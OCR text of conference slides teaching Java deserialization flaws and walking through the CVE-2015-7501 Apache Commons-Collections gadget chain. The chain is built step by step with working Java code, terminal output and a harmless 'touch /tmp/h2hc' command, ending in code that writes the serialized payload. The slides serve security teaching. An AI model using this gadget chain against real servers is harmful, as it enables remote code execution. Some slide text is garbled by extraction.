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1. Motivations

Old and persistent

Publicly known ~ 2004
Vulnerability class (CWE-502)

Easy to Remote Code Execution (RCE)

Allows for Turing Complete behavior

Architecture Independent

JVM High level exploitation

Heart of the JVM ecosystem

Affects multiple protocols/features/plataforms...



1. Motivations

Some affected products
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1. Motivations

Wide attack surface!

(de)serialization

without control

od
/ Libs \

ﬁramework%
/ Platform \

Management / Monitoring
/ Java Virtual Machine (JVM) \

or without even

the knowledge of

the developers




2. Serialization/Deserialization

class Alien implements java.io.Serializable {
String name;
String source;

7372 0005 416¢c <Alien serialization="custom"> {

c603 0002 4c00 — <Alien> name: "Abu ce tai,

6176 612Ff 6¢c61 — <default> ) source: "Andromeda Galaxy"
<name>Abu ce tai</name>

4c00 8673 6175 <source>Andromeda Galaxy</source>

7400 Ob4l 6275 <default>
c3ad 7400 1041 6e64 726fF </Alien>
616c 6178 7978 </Alien>
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2. Serialization/Deserialization

class Alien|implements java.io.Serializable |{

String name;
String source;

// Object instantiation
Alien ET = new Alien();
ET.name = "Abu ce tai";
ET.source = "Andromeda Galaxy";

ac
14

6: oos.writeObject(ET);
(%]

c3ad 7400 1041 6eb4 726f‘ </Alien>

</Alien>

616c 6178 7978

Need to implements
Serializable or Externalizable

FileOutputStream fos = new FileOutputStream("ET_object.ser");
o¢ ObjectOutputStream oos = new ObjectOutputStream(fos); ttaxy’
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2. Serialization/Deserialization

01101100 -
01101111 T_
01110110 ostbrrres
01100101
7372 0005 416¢C <Alien serialization="custom"> {
c603 0002 4c00 — <Alien> name: "AI‘?u ge tacii",Galax .
— <default> source: "Andromeda
6176 612f 6cél <name>Abu ce tai</name> } Y
4c00@ 0673 6f75 <source>Andromeda Galaxy</source>
0001 7870 7400 0Ob4sl 6275 </default>
c3ad 7400 1041 6ebs 726F </Alien>
61l6¢c 6178 7978 </Alien>




2. Serialization/Deserialization

01101100
01101111 101 T—
N11 —

01110110

M1 T N1 N

// Reads from disk
FileInputStream fis = new FileInputStream("ET_object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);

atl h P |
et Alien ET = (Alien) ois.readObject(); // Deserialization! .
o

696e 673b 4c00 0673 675
0001 7870 7400 0Ob4l 6275
c3ad 7400 1041 6eb4 726f

61l6¢c 6178 7978

<source>Andromeda Galaxy</source>
</default>
</Alien>
</Alien>




2. Serialization/Deserialization

Some examples:

« HTTP Params (ViewState), Cookies, Ajax

Components, etc:
Encoded, Compressed+Encoded, Encrypted+ Encoded
(eg. rOO0, H4sl, MIl, and more...)

« Servlets HTTP, Sockets, Session Managers,
ag Protocols (JMX, RMI, JMS, JNDI, Clusters, etc):

eol

001 « \XAC\XED faxy”
69
00

gig « XML (XStream):
HTTP Body: (Content-Type: application/xml)

 JSON (Jackson):
« HTTP Body: {"@class”: "YourApp.Obj”... /
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4. The Problems

t User Input Java App

aced 0805 7372 @005 416¢

€000 4d4b c603 0002 4CO0 P
8012 4cba 6176 612f 6c61

696e 673b 4cB@ 8673 675

2001 7870 7400 ©Ob41l 6275

c3ad 7400 1041 bebs 726F

616c 6178 7978

Deserialization

ois.readObjecti()

((t(j:\\

ObjectInputStream ois = new ObjectInputStream(userInputStream);
Alien ET = (Alien) ois.readObject();




4. The Problems

Object Injection

t User Input Java App

aced 0085 7372 @005 416¢c
€000 4d4b c603 0002 4cB0 =)
0012 4céa 6176 612f 6¢c61
696e 673b 4c@@ 8673 6f75
0001 7870 7400 @b41l 6275
c3ad 7400 1041 bebd 726f
616¢c 6178 7978

Deserialization

ois.readObjecti()

((0(\[:\\

ObjectInputStream ois = new ObjectInputStream(userInputStream);
Alien ET = (Alien) ois.readObject();




4. The Problems

Improper Input Validation

Object Injection

t User Input Java App Deserialization

aced 9005 7372 @005 416c
€000 4d4b c603 0002 4CO0 P
8012 4cba 6176 612f 6c61
696e 673b 4cB@ 8673 675
@001 7870 7400 @b41l 6275
c3ad 7400 1041 beb4u 726fF
616c 6178 7978

ois.readObject()

(it

ObjectInputStream ois = new ObjectInputStream(userInputStream);
Alien ET = (Alien) ois.readObject();




4. The Problems

Object Injectio Improper Input Validation

t User Input

aced 0085 7372 @005 47
€000 4d4b c603 0002 4c@0
0012 4cba 6176 612f 6¢c61
696e 673b 4cB@ 8673 6f75
0801 7870 7400 0Ob4l 6275
c3ad 7400 1041 bebd 726f‘
616¢c 6178 7978

ObjectInputStream ois = new ObjectInputStream(userInputStream);
Alien ET = (Alien) ois.readObject();




4. The Problems

git clone https://github.com/joaomatosf/JavaDeserH2HC.git

class Alien implements java.io.Serializable {

String name;
String source;

private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {

in.defaultReadObject();

System.out.println("Deserializing an object of class:

"+ getClass().getName());

// Object instantiation
1 Alien ET = new Alien();

ET.name =

"Abu ce tai";

ET.source = "Andromeda Galaxy"; r
FileOutputStream fos = new FileQOutputStream("ET_object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
OOS-WFltEOb]ECt(ET) ’ SeriaIiZing
John:JavaDeserH2HC joaomatosf$ java TestSeriai;:gzz;“--———”’::==’-
Serializing an object of class: Alien
John:JavaDeserH2HC joaomatosf$ hexdump -C ET_object.ser
00000OPO ac ed PO B5 73 72 00 B5 41 6Cc 69 65 be 82 el c5 |. sr .Alien... |
00000010 e0 00 4d 4b cbé6 03 00 B2 4c 00 04 6e 61 6d 65 74 . .L. namet|
00000020 00 12 4c ba 61 76 61 2f 6c 61 6e 67 2f 53 74 72 |. LJava/lang/Strl
00000030 69 6e 67 3b 4c B0 06 73 6f 75 72 63 65 71 00 7e |ing;L..sourceq.~|
00000040 00 91 78 70 74 00 Ob 41 62 75 20 63 65 20 74 61 |..xpt..Abu ce ta]
0000050 c3 ad 74 00 10 41 be 64 72 6f 6d 65 64 61 20 47 |..t..Andromeda G|
P000BB6D 61 6C 61 78 79 78 |alaxyx|
0000B66




4. The Problems

git clone https://github.com/joaomatosf/JavaDeserH2HC.git

clasimplements java.io.Serializable {

String name;
String source;

private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("Deserializing an ohiect of clacc.

"y noatClacel) noatNamal))s

’ ONLY DATA IS SERIALIZED,

Serializing

' — = NOT CODE!

John:JavaDeserH2HC joaomatosf$ java TestSerialize
Serializing an object of class: Alien
John:JavaDeserH2HC joaomatosf$ hexdump -C ET object.ser
60000000 . aa@ 41 6C 69 65 6e |82 el
00000010 00 © C = 6d 65
00000020 06 12 40 6ba |61 76 61 2f 6¢c 61 6e 67 2f 53 74
p00000B30 69 6be 67 3b l4c 00 B6 73 6f 75 72 63 65 71 00
0000V040 0O 01 78 70 |74 00 Bb 41 62 75 20 63 65 20 74
00000050 c3 ad 74 00 [10 41 6e 64 72 6f 6d 65 64 61 20

00000060 61 6C 61 78 [79 78
00000066 ——— OFFSET (TC_OBJECT, TC_CLASSDESC)

ch
74
72
7e
61
47

.Alien... |

MK .L. namet|
Ljava/lang/Str|

| .
| .
| .
|ing;L..sourceq.~|
| .
| .
|

xpt .Abu ce ta|
.t..Andromeda G|
alaxyx|




4. The Problems

Application Code

Running Vulnerable

User Input

aced 9085 7372 €005 416c |
e@00 4d4b c603 0002 4cee
0012 4céa 6176 612f 6cébl
696e 673b 4cB® 8673 675
0001 7870 7400 eb4l 6275
c3ad 7400 1041 bebs 726fF
616c 6178 7978

I
|
L

Sending

Payload

@ @

"=:::::¥--_Ifffffffi————::::=="

[ NON | Terminal

Obje
Obje

-

$ git clone \
https://github.com/joaomatosf/JavaDeserH2HC.git
$ cd JavaDeserH2HC

$ javac VulnerableHTTPServer.java
$ java VulnerableHTTPServer

JRE Version: 1.8.0 131
[INFO]: Listening on port 8000

Terminal

$ javac TestSerialize.java
$ java TestSerialize

$ curl http://127.0.0.1:8000 --data-binary @ET object.ser




4. The Problems

Application Code

T
[

User Input L
aced @005 7372 @005 416¢c
€000 4d4b c603 0002 4cee

Z Condition I

ObjectinputStream 0is = new
—— ObjectinputStream(userinput);

0012 4céa 6176 612f 6c6l . .

696e 673b 4c0@ 0673 675 —®—Ols-read0bJeCt()—>
0001 7870 7400 @b4l 6275

c3ad 7400 1041 6ebs 726f Danger zone:

616c 6178 7978 Input

ObjectInputStream ois = new ObjectInputStream(userInputStream);
int number = (Integer) ois.readObject();

N

Look for readObject() or readUnshared() invoked
in ObjectInputStream to identify injection points!




4. The Problems

Application Code | ObjectinputStream | Serializable class (gadget)

User Input L A O
o0

I

|

|

aced 9005 7372 0805 416cC :
readObjectd :

|

|

|

|

|

ObjectinputStream 0is = new
ObjectinputStream(userinput);

000 4d4b c603 @002 4ceo

0012 4céa 6176 612f 6c6l . .

696e 673b 4cO® 0673 675 —@—ms.readObject( readOrdinaryObject

0001 7870 7400 @b41 6275 readClassDesc

c3ad 7400 1041 6ebs 726f Danger zone: readNonProxyDesc

616c 6178 7978 Input @ resolveClass(readDesc)
74______y@ﬁ@%{@%@%@@qggqj

.MK....L..namet|
..L3ava/1ang/Str|
|ing;L..sourceq.~|
..xpt..Abu ce ta|

..t..Andromeda G|
|alaxyx|

L <---—'c1a ements java.io.Serializab

String name;
String source;

Returns “Class” of

1 - y ivat id readObject(java.io.Objec
Injected Object (Alien)| B o ToErCarcion, Clasohoron
in.defaultReadObject();
System.out.println("Deserializing a




4. The Problems

Application Code | ObjectinputStream | Serializable class (gadget)

T T
|
User Input = ObjectinputStream 0is = new ' A O
aced 8065 7372 0005 4l6c ObjectinputStream(userinput); | Qo

|

|

|

|

€000 4dib c603 0002 4cBO :
readObjectd :
|

|

|

|

|

0012 4cba 6176 612f 6c61 . .

696e 673b 4c0® 0673 6F75 —@—ms.readObject()—b readOrdinaryObject

0001 7870 7400 Ob41 6275 readClassDesc

c3ad 7400 1041 bebs 726f Danger zone: readNonProxyDesc

616c 6178 7978 Input @ resolveClass(readDesc)

<— — — — _ _ dassloader returns Gadget Qeﬁﬂ

read SerialData

I private void readSerialData(pbj IS there a readObjeCt()

throws IOException
{ P
ObjectStreamClass.ClassData mEthOd ¢

for (int i = 0; i < slots.length; 1++) <
ObjectStreamClass slotDesc = slots[i].desc;

if (slots[i].hasData) {
if (obj == null || handles.lookupExceptjon(passHandle) != null) {
defaultReadFields (null, slotDesc); ¢/ skip field values

} else if (slotDesc.hasReadObjectMethod()) {




4. The Problems

Application Code | ObjectinputStream | Serializable class (gadget)

T T T
| [ O [
User Input = ObjectinputStream 0is = new o :

aced 09085 7372 @005 416¢C ; . o

[
0000 4d4b c603 0002 4c00 ObjectinputStream(userinput); O :
0012 4cbéa 6176 612f 6cb1 . . readObjectd !
696e 673b 4c0@ 8673 675 —@—ms.readObject( readOrdinaryObject |
0001 7870 7400 Ob4l 6275 readClassDesc |
c3ad 7400 1041 bebs 726f Danger zone: readNonProxyDesc |
616c 6178 7978 Input @ resolveClass(readDesc) |
[
<— — — — _ _ dassloader returns Gadget Qass
readSerialData

class Alien implements java.io.Serializable {

String name;
String source;

private void readObject(java.io.ObjectInputStream in) k
throws IOException, ClassNotFoundException {

in.defaultReadObject();
System.out.println("Deserializing an object of class: "+ getClass().getName());




4. The Problems

private voidIreadSerialDataIObject obj, ObjectStreamClass desc)
throws IUException {

User|

aced 0005
eB00 4d4b
0012 4cba
696e 673b 4

} else if (slotDesc.hasReadObjectMethod()) {
try {

8ee1 7870 7
S160 6178 7 t slotDesc.invokeReadObject(obj, this);
} catch (ClassNotFoundException ex) {

read SerialData
dObij 25 Ali invokeReadObject
readObject:25, Alien .
0:-1, NativeMet (:)7read0bject()

nvoke0:-1, NativeMethodAccessorimpl (sun.reflect) 1

nvoke:62, NativeMethodAccessorimpl (sun.reflect)

nvoke:43, DelegatingMethodAccessorimpl (sun.reflect)

nvoke:498, Method %java./ang.ref/ect)

LR as s || | readObject() method is
eadOblect0:1535, Objectnputsiream (/;VA.;.}O)(,M ’ automatically invoked!
e, TestDusecilzs | stack trace




4. The Problems

Jonn:JavabDeserHZHC joaomatosTy Java lestSerialize
Serializing an object of class: Alien
ohn:JavaDeserH2HC joaomatosf$ hexdump -C ET_object.ser

00000000 ac ed 00 05 73 72 @0 05 41 6¢c 69 65 6e 82 el ¢5 |....sr.|}Alien.|.|
00000010 €0 00 4d 4b cbd O3 00 02 4c 00 04 be 61 6d 65 74 | . MherT.T..0aMet |
0000020 00 12 4c ba 61 76 61 2f 6¢C 61 6be 67 2f 53 74 ..Ljava/lang/Str|
00000030 69 be 67 3b 4c 00 B6 73 6Ff 75 72 63656 00 7e |ing;L..sourceq.~|
000040 00 01 78 70 74 00 Ob 41 6 =70 63 65 20 74 61 |..xpt..Abu ce ta|
00000050 c3 ad 74 00 10 41 _bLe~6 72 6f 6d 65 64 61 20 47 |..t..Andromeda G|
00006 61 6c 61 2879 /8 |alaxyx |

AAAAACA A

clas mplements java.io.Serializable {

String name;
String source;

private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
3 [ )

‘ System.out.println("Deserializing an object of class: "+ getClass().getName());

[INFO]: Received POST / from: /127.0.0.1:.6
Deserializing an object of class: Alien ’

629




4 The Problems

//// VA

/aglc Methods: “Indirect” Magic

invoker()*
readObject()* (InvocationHandler or
readResolve() MethodHandler)
readExternal()* toString()
finalize() hashCode() .
readObjectNoData() Z) ?ﬂ':; f g(gm )
validadeObject() equals()

A Look for “"dangerous” code in these methods!

./

//
v




4. The Problems

Application Code ObjectinputStream Serializable class (gadget)

I
| |

User Input m ObjectinputStream ois = new

aced 9085 7372 @005 416¢C - .
|
0000 4d4b C603 0002 4C00 ObjectinputStream(userinput);

|
|
|
|
|
|
|
|
|
|
616c 6178 7978 Input @ resolveClass(readDesc) |
|
n

0012 4céa 6176 612f 6c61 . . readObjectd
696e 673b 4c@8@ 8673 6Ff75 —@—OIs.readObject( readOrdinaryObject
0001 7870 7400 @b41 6275 readClassDesc
c3ad 7400 1041 6ebhk 726f Danger zone: readNonProxyDesc
<— — — — — _ dassLoader returns Gadget dass |
int number = (Integer) ois.readObject(); R

invokeReadObject

@—readObject()——>
Danger zone:

=== -m-—mm—mm-—-- W= | code-reuse

invokeReadResolve

@ireadResolve()——r readObject()
readResolve()

e~ ———————————————————— readExternal()
finalize()

| Gargabe-collector -
:‘ @ Casting : T
i (too late) | (:)—finalize()—b .

[INFO]: Received POST / from: /127.0.0. Sy
Deserializing an object of class: Alien &/
java.lang.ClassCastException: Alien cannot be cast to java.lang.Integer

=29




4. The Problems

Application Code | ObjectinputStream | Serializable class (gadget)

T T
| |
User Input L

T
|
ObjectinputStream 0is = new ' :
aced 9005 7372 0005 416¢ - .
0000 4d4b c603 0002 4c00 ObjectinputStream(userinput); 1 _ :
0012 4cba 6176 612f 6c6l i i readObjec
696e 673b 4cOB 9673 6F75 —@—ms.readObject()—r readOrdinaryObject :
9001 7870 7480 Ob4l 6275 readClassDesc |
c3ad 7400 1041 bebs 726f Danger zone: readNonProxyDesc :
616c 6178 7978 Input @ resolveClass( C d_t_ T
| Condition
P S asstoa
] -
Condition I resdseriData I
invokeReadObject i
@—readObject()——>
Danger zone:
,< __________________
_ b Code-Reuse
invokeReadResolve -

(@)—readResolve()——» readObject()
readResolve()

N G Ty Sy R readExternal()

B —— finalize()
Gargabe-collector -

3@ Casting T T
(too late) | (:)—fina lize()—»
! |




4. The Problems

Code-Reuse
Attack



4. The Problems

Stefan Esser classified as POP (BH2o010)

Code-Reuse Attacks

Return-Oriented Programing (ROP)

Jump-Oriented Programing (JOP)

Property-Oriented Programing (POP)

(
:IIIIIIIIIIIIIIIII. 01101100
- 0 . 01101111
: mov Aesp, . 01110110
. %eax; : 01100101
. * 01101100
: ret * 01101111
3 = 011160110

Rl s 01100101

reaa’Ob/ect() %
reaa’Reso/ve()
fma//ze() 5




4. The Problems

“Gadget Space”: even not used code!

Lo Aoy | Gadgets
////?//%// Libs " 7

“/Frameworks\ =~ X|i

% / Management / Monitoring X//
//

7 Java Virtual Machine (JVM) X [i reaaResoiveq) "
, - —_— 2 ' G : finalize() :
y,

/ A

Y L a0 /g 7 7 Vg7




4. The Problems

<>

From CWE-502 (Deserialization of <=
Untrusted Data) to RCE:

Condition I: Object Injection + Improper Input
Validation;

Condition II: Sufficient gadgets in the application
classpath (Property-Oriented Programing - POP).

TURING
COMPLETE?

I HAVE A NEW
COFFEE MACHINE.

IT'S
PROGRAMMABLE!



UNIVERSAL
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. Makes
Perfect

CVE-2015-7501

Apache Commons-Collections




5. Understanding CVE-2015-7501

Apache CommonsCollections is one of the most

prevalent libraries:

2,600 unique open source projects ( Operation Rosehub,

Google, 2017) /~
ObjectinputStream.readObject()
Almost universal gadgets { AnnotationinvocationHandler.read Object()
Map (Proxy).entrySet()
- AnnotationinvocationHandler.invoke()
Gadget Chain  LazyMap.get)
ChainedTransformer.transform()
ConstantTransformer.transform()
. InvokerTransformer.transform()
( Method.invoke()
C— Class.getMethod()
—
—

Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()

Runtime.exec()

InvokerTransformer.transform()
i Method.invoke()




5. Understanding CVE-2015-7501

Apache CommonsCollections is one of the most

prevalent libraries:

2,600 unique open source projects ( Operation Rosehub,

Google, 2017) /\
S ObjectinputStream.readObject()
\ { AnnotationinvocationHandler.readObject()

Almost un/

Gadget C' 48

Runtlme getRuntime()
InvokerTransformer.transform()
Method.invoke()

Runtime.exec()




. Understanding CVE-2015-7501

ObjectinputStream.readObject()
AnnotationinvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationinvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform() (5]
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()

Runtime.exec()




5. Understanding CVE-2015-7501

InvokerTransformer (Transformers)

“Transformer implementation that creates a new
object instance by reflection”

public class InvokerTransformerLimplements Transformer, Serializable k
/**x The method name to call™%7
(®private final String iMethodName;

/**x The array of reflection parameter types x/

@ private final Class[] iParamTypes; Fields forArbitrary
/**x The array of reflection arguments x/ i
(@ private final Object[] iArgs; Method Invocation

public Object|transform(Object input) K mMethod Invocation
Class cls = input.getClass(); via Reflection!

Method method = cls.getMethod(iMethodName, iParamTypes);
return method. invoke(input, iArgs); @ —————————




5. Understanding CVE-2015-7501

InvokerTra nsformer\ (Transformers)
S
]

(

transform(Object input )_/ L;J/\
Transforms the input to result by invoking a method on the input.

/* Without Reflection */
/* Runtime 1s not Serializable */
Runtime.getRuntime() .exec("touch /tmp/h2hc");

InvokerTransformer invl = new InvokerTransformer(
®"exec",
@new Class[]{ String.class },
@new Object[]{ "touch /tmp/h2hc" }
); p Not serializable
invl.transform(Runtime.getRuntime());



5. Understanding CVE-2015-7501

Example:

/* Without Reflection */
/* Runtime 1s not Serializable */
Runtime.getRuntime() .exec("touch /tmp/h2hc");

@ Convert to Reflection format

/* Using Reflection */

( (Runtime)Runtime.class
.getMethod ("getRuntime", new Class[0])
.invoke(null, new Object[0]))
.exec ("touch /tmp/h2hc");

Let’s convert to Transformer format




5. Understanding CVE-2015-7501

/* Using Reflection */
C) ( (Runtime)Runtime.class
.getMethod ("'getRuntime", new Class[0])
.invoke(null, new Object[0]))
.exec ("touch /tmp/h2hc");

/* Using Transformers and Reflection */
ConstantTransformer input = new ConstantTransformer(Runtime.class);




5. Understanding CVE-2015-7501

/* Using Reflection */
(:)((Runtime)Runtime.class
(@ .getMethod("getRuntime", new Class[0])
.invoke(null, new Object[0]))
.exec ("touch /tmp/h2hc");

/* Using Transformers and Reflection */

ConstantTransformer input = new ConstantTransformer(Runtime.class) ;

C) InvokerTransformer invkl = new InvokerTransformer(

""getMethod", // method name to call
new Class[]{String.class, Class[].class}, // params types

new Object[]{"getRuntime", new Class[0]});// arguments values




5. Understanding CVE-2015-7501

/* Using Reflection */
(:)((Runtime)Runtime.class
(@ .getMethod("getRuntime", new Class[0])

3 - invoke(null, new Object[0]))
.exec ("touch /tmp/h2hc");

/* Using Transformers and Reflection */

ConstantTransformer input = new ConstantTransformer(Runtime.class) ;
C) InvokerTransformer invkl = new InvokerTransformer(
""getMethod", // method name to call

new Class[]{String.class, Class[].class}, // params types
new Object[]{"getRuntime", new Class[0]});// arguments values

()InvokerTransformer invk2 = new InvokerTransformer(
"invoke", // method name to call

new Class[]{Object.class, Object[].class},// params types
new Object[]{null, new Object[0]}); // arguments values




5. Understanding CVE-2015-7501

/* Using Reflection */
@ ( (Runtime)Runtime.class

(@ .getMethod("getRuntime", new Class[0])
(®) -invoke(null, new Object[0]))
().exec("touch /tmp/h2hc") ;

/* Using Transformers and Reflection */
ConstantTransformer input = new ConstantTransformer(Runtime.class) ;
C) InvokerTransformer invkl = new InvokerTransformer(
""getMethod", // method name to call
new Class[]{String.class, Class[].class}, // params types
new Object[]{"getRuntime", new Class[0]});// arguments values
()InvokerTransformer invk2 = new InvokerTransformer(

"invoke", // method name to call

new Class[]{Object.class, Object[].class},// params types

new Object[]{null, new Object[0]}); // arguments values
()InvokerTransformer invk3 = new InvokerTransformer(

"exec", // method name to call

new Class[]{String.class}, // params types

new Object[]{"touch /tmp/h2hc"}); // arguments values
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ChainedTransformer (Transformers)

"The input object is passed to the first -
transformer. The transformed result is passed
to the second transformer and so on.”

public class ChainedTransformer implements Transformer, Serializable {

private final Transformer[] iTransformers;
P2 ittty Method Transform
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
obJec;_— this.iTransformers[i]. transform(QbJect)

} _______________________________ -’
return object; ////////\\
}

Invokes transform() method of all

Transformers in array (chained)!
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Creating Transformers array

— <

Transformer[] arrayTransformers_= new Transformer[]{

input, // Runtime.class = = =mmmcccme—===—=-- ~~0

C)invkl, // .getMethod("getRuntime", new CZass[@])\\

()inka, // .Invoke(null, new Object[0O]) \
(@invk3 // .exec("touch /tmp/h2hc"); E
}; /

]

]

. . . ]

/* Putting the Transformers in Chain */ | 4

ChainedTransformer chained = new ChainedTransformer(arrayTransformers);
/* Invoking transform() methad! */

25 G Execute Chained!

chained.transform(null);\i%§§w

R

p
[ ) @ Terminal

John:JavaDeserH2HC joaomatosf$ javac —-cp .:commons—-collections-3.2.1.jar TestTransformers.java
John:JavaDeserH2HC joaomatosf$ 1ls —-all /tmp/h2hc

ls: /tmp/h2hc: No such file or directory

John:JavaDeserH2HC joaomatosf$ java —-cp .:commons-collections-3.2.1.jar TestTransformers
John:JavaDeserH2HC joaomatosf$ 1ls —-all /tmp/h2hc g
-rw-r——-r—— 1 joaomatosf wheel © Oct 15 00:50 /tmp/h2hc
John:JavaDeserH2HC joaomatosf$ I
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Creating Transformers array

— <

Transformer]|] arrayTransformersmf_new Transformer[]{
input, // Runtime.class T =mmmmooommmmmmmmmmmee
C)invkl, // .getMethod("getRuntime", new Class[0]) ™\
()inka, // .invoke(null, new Object[0]) \
(@invk3 // .exec("touch /tmp/h2hc"); \
}s
/* Putting the Transformers in Chain */ v

ChainedTransformer chained = new ChainedTransformer(arrayTransformers);

/* Invoking transform() methad! */
chained.transform(null); Ti’i‘v@ PR Execute Chained!
N——g -

‘@ @ Terminal
i~
John:JavaD

John:Java
1s: /imp/ﬁi @ We need to achieve this transform() method during

John:J D . qe .
ohn: Java deserialization! How?

John:JavaD
-IW-r——Tr—— _
John:JavaDeserH2HC joaomatosf$ I
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Trigger Gadget: initiate the execution

during deserialization (magic method

acting upon user-controled fields)

notationlnvocationHandIer.readObject()
Map(Proxy).entrySet(
AnnotationinvocationHandler.invoys

Class.geilMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()

Runtime.exec()
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ObjectinputStream.readObject() ,

AnnotationinvocationHandler.readObjecl() <—
Map(Proxy).entrySet()
AnnotationinvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()

Runtime.exec()

@ In JVM >= 8u72 you need to use another trigger gadget like
HashSet + TiedMapEntry as proposed by Matthias Kaiser
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AnnotationInvocationHandler (AIH) (trigger gadget)

class AnnotationInvocationHandler implements|InvocationHandler, Serializable F
29959 7L,

Fields under control

Map<String, Object> memberValues* {

private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation>|type,
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||

superInterfaces.length =1 ||

superInterfaces[0] != java.%amg.annotation.Annot .class)

throw new AnnotatiomFoTmatError("Attempt eate proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;

AlH
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AnnotationInvocationHandler (AIH) (trigger gadget)

Method invoked in field under control at magic method!

private v014 readObject(ﬂava.io.ObjectInputStream s)
throws java.10. xception, ClassNotFoundException {

s.defaultReadObject();

// If there are annotation members without values, that
// situation is handled by the invoke method

for (Map.Entry<String, Object> memberValue :ImemberValues.entrySet()) {

A\ 4

AlH

IA\
'readObject(...){ \1)
memberValues field memberValues.entrySet()
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AnnotationInvocationHandler (AIH) (trigger gadget)

Method invoked in field under control at magic method!

m\c “
: . . . . . n'Q
private v014 readObJect(JIava.1o.0bJectInputStream S) DY

throws java.10. xception, ClassNotFoundException {

s.defaultReadObject(); ﬁ:j

| I B §
// If there are annotation members without values, that_-) <
// situation is handled by the invoke method

for (Map.Entry<String, Object> memberValue :ImemberValues.entrySet())I{

AlH

IA\
'readObject(...){ \1)
memberValues field memberValues.entrySet()
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icC A

D\lf‘am&\é’lfo*’
Java Dynamic Proxy N g 4
Dispatched method invocations to invoke() at~" '~

InvocationHandlers (like network proxies)

-----------------------------------

llllllllllllllllllllllllllllllllllll

AN

Proxy Implements Map |

Internal AIH

public Object invoke(...) {
// some custom code

)
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Java Dynamic Proxy

private voi4 readObject(ﬂava.io.ObjectInputStream s)
throws java.10. xception, ClassNotFoundException { 5

s.defaultReadObject();

// If there are annotation members without values, that
// situation is handled by the invoke method

for (Map.Entry<String, Object> memberValue :|memberValues.entrySet())|{

Proxy Implements Map y

entrySet|) \
)“\' Internal AIH
4

¥ public Object invoke(...) {
// some custom code

’\\

~’

)
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ObjectinputStream.readObject()
AnnotationinvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationinvocationHandler.invoke () <u—
LazyMap.get()

ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()

Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()

Runtime.exec()
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AnnotationInvocationHandler (AIH) (trigger gadget)

Tries to get a value from a field under control!

public Object

invoke

Object proxy, Method method, Object[] args) {
String member = method.getName();

AlH

Class<?>[] paramTypes = method.getParameterTypes();
Object result =| memberValues.get(member); N
il

memberValues field

'readObject(...){ @

Proxy (Map = Internal AlIH)

Internal AIH

- 4

memberValues field memberValues.get(member) |

invoke(...){ @) L

memberValues.entrySet(\
N\

N
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ObjectinputStream.readObject()

AnnotationinvocationHandler.readObject()
Map (Proxy).entrySet()
AnnotationinvocationHandler.invoke() A
LazyMap.gel() < ——
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()

Runtime.exec()
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LazyMap (decorator) ,

"When the get(Object) method is called with a

key that does not exist in the map, the factory is

used to create the object.” (official documentation)

AlH Y~
'readObject(...){ 1)
memberValues field memberValues.entrySet ( )\\
Proxy (Map -2 Internal AlH) ‘\
I
4
Internal AIH ) —-—
invoke(...){ @) £
memberValues field memberValues.get(member) |




5. Understanding CVE-2015-7501

LazyMap (decorator)

public class LazyMap extends AbstractMapDecoratorIimplements Map, Serializable i

/*x The factory to use to construct elements */We can put our chained!
protected final Transformer factory;

publiclObject get(Object key) {!
// create value Tor Key 1 ey 1is not currently in the_map
if (map.containsKe = L
Object value =l factory.transform(key);
map.put(key, vertue)

return value;

memberValues field memberValues.entrySet(\

Proxy (Map -2 Internal AlH)

\_,&’

Internal AIH ——

invoke(...){ @) L

memberValues field memberValues.get (member) |
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RO

readObject() - entrySet() - invoke() > get() > transform() > RCE

External AIH —~
readObject(...){ Q-)
memberValues field memberValues.entrySet ()
\
Proxy (Map =2 Internal AIH) \\
!
/
Internal AIH o~ —1
invoke(...){ @ £
memberValues field memberValues.get(member)y
]
LazyMap get(...) { @ yi4
> factory transformers factory.transform(key);
. U
Runtime.exec() ¢ emeeeeeeeee - -
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Generating final payload (Trigger + Chained)

/* Creating LazyMap with chained Transformer h/zi”’————————————>

Map map = new HashMap (); LazyMap + Chained
Map lazyMap = LazyMap.decorate(map,chained); <«

/* Putting LazyMap into Internal AIH (handlerLazyMap) */

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

InvocationHandler handlerLazyMap = (InvocationHandler)
ctor.newlnstance(Retention.class, lazyMap); _

<

AIH + lazyMap

/* Creating Proxy */
Class[] interfaces = new Class[] {java.util.Map.class};
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
/* Putting Proxy into External AIH (handlerProxy) */ ““‘-Fﬁtuq/(lntennal
InvocationHandler handlerProxy = (InvocationHandler) AIH + lazyMap)
ctor.newInstance(Retention.class, proxyMap);

External AIH + Proxy

/* Saving serialized object */ (InternaIAIH+LazyMapt)
System.out.println("Saving serialized object in ExampleCommonsCollectionsl.ser");

FileOutputStream fos = new FileOutputStream("ExampleCommonsCollectionsl.ser");
